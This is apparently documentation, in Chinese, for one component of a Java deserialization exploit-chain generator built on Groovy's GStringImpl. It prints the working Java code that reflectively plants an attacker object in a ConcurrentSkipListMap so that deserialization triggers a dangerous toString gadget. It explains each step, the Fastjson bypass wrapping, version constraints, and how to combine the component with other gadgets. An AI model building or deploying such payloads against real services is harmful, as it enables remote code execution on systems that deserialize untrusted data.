- 类别:common 别名:— 优先级:未设置(null)
- 作者:—
- 依赖:
org.codehaus.groovy:groovy:2.4.3
一个「toString 跳板」构件:构造一棵以 GStringImpl 为 key 的 ConcurrentSkipListMap,使其在 Java 原生反序列化(ConcurrentSkipListMap.readObject)重建跳表时对相邻节点 key 调用 compareTo,GStringImpl.compareTo 内部会对参数对象调用 toString(),从而把执行流交给下游任意「暴露危险 toString」的 gadget。是不依赖 commons-collections 的 toString 型入口。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口(作为最外层,直接交给ObjectInputStream)。 - 衔接
nextTags:ToString—— 内层须为一个「其toString()会触发危险行为」的 gadget(如各类*ToString/ JSON toString 跳板)。 excludes:无。
核心 getObject 构造被污染的跳表:
public Object getObject(Object toStringObj) throws Exception {
GStringImpl gString = createGString(); // 构造一个"干净"的 GStringImpl
ConcurrentSkipListMap<GStringImpl, String> map = new ConcurrentSkipListMap<>();
map.put(new GStringImpl(new Object[0], new String[]{"1"}), "1"); // 先放两个无害元素
map.put(new GStringImpl(new Object[0], new String[]{"2"}), "2");
Object head = Reflections.getFieldValue(map, "head"); // 反射走到底层链表节点
Object node = Reflections.getFieldValue(head, "node");
Object first = Reflections.getFieldValue(node, "next");
Object second = first == null ? null : Reflections.getFieldValue(first, "next");
if (first != null) {
Reflections.setFieldValue(first, "key", gString); // 第一个节点 key 换成 GStringImpl
}
if (second != null) {
Reflections.setFieldValue(second, "key", toStringObj); // 第二个节点 key 换成攻击对象
}
return map;
}逐段解释:
- 先用两个正常的
GStringImpl("1")/("2")put进 map,让跳表建立起head → node → next → next的底层节点结构,避免直接反射构造节点。 - 通过
Reflections.getFieldValue依次读取head、node、next,定位跳表最底层链表的前两个数据节点first、second。 setFieldValue(first, "key", gString):把第一个节点的 key 替换为一个刻意构造的GStringImpl(比较发起方);setFieldValue(second, "key", toStringObj):第二个节点 key 换成真正的攻击对象。反序列化时跳表按顺序对相邻 key 调用first.key.compareTo(second.key),即GStringImpl.compareTo(toStringObj),其内部会toStringObj.toString(),触发下游。
createGString 通过反射绕过构造并清空缓存,确保比较时不走短路:
private static GStringImpl createGString() throws Exception {
GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
Reflections.setFieldValue(gString, "strings", new String[]{"", ""});
Reflections.setFieldValue(gString, "values", new Object[]{""});
resetGStringCache(gString); // 清空 cachedString/string/value(不同 2.4.x 小版本字段名不一)
resetGStringHash(gString); // 清空 hash/hashCode,避免比较前提前物化字符串
return gString;
}resetGStringCache / resetGStringHash 用 Reflections.has 逐字段判断存在与否再清零,兼容 groovy 2.4.x 各小版本 GStringImpl 字段差异,保证 compareTo 真正走到 toString。
invoke 组织内层对象并处理 Fastjson 旁路:
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context); // 内层 ToString gadget
Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
Object resultObject = this.getObject(object);
if (getterObject != null) {
return CommonMethod.listWrap(getterObject, resultObject); // 需要时用 List 包裹
}
return resultObject;
}chain.doCreate 得到内层「toString sink」对象作为 toStringObj;若上下文里存在 FASTJSON_HANDLE_BYPASS_KEY,用 CommonMethod.listWrap 把额外对象与结果一并包进 List(用于绕过某些处理),否则直接返回构造好的 map。头部 Could not load ... GStringImpl 为缺 groovy 依赖的正常提示。
本类无 @Param。内层 toString 目标由链提供,Fastjson 旁路对象由上下文 FASTJSON_HANDLE_BYPASS_KEY 决定是否包裹。
- 依赖
org.codehaus.groovy:groovy:2.4.3(GStringImpl位于org.codehaus.groovy.runtime)。 - 关键版本约束:入口为
ConcurrentSkipListMap.readObject,其在反序列化重建时对 key 调用compareTo的行为需 JDK 11+ 才稳定触发(见 description);低版本 JDK 该路径不成立。 - 借
GStringImpl.compareTo → toString把「比较」转成「toString」,是继BadAttributeValueExpException、XString之外的又一 toString 触发点,且不依赖 commons-collections。 - 需下游提供一个 toString 会产生危险副作用的 gadget 才能形成完整链。
无。自由构件,未直接出现在 51 条预设链中(作为 toString 型入口可与各 *ToString sink 手动组合)。
- 内层(
nextTags=ToString):各类 toString 跳板,如 BadAttributeValueExpExceptionToString、JacksonToString、FastjsonToString1等。 - 同族 toString 入口:
TextAndMnemonicHashMapToString、EventListenerListToString等。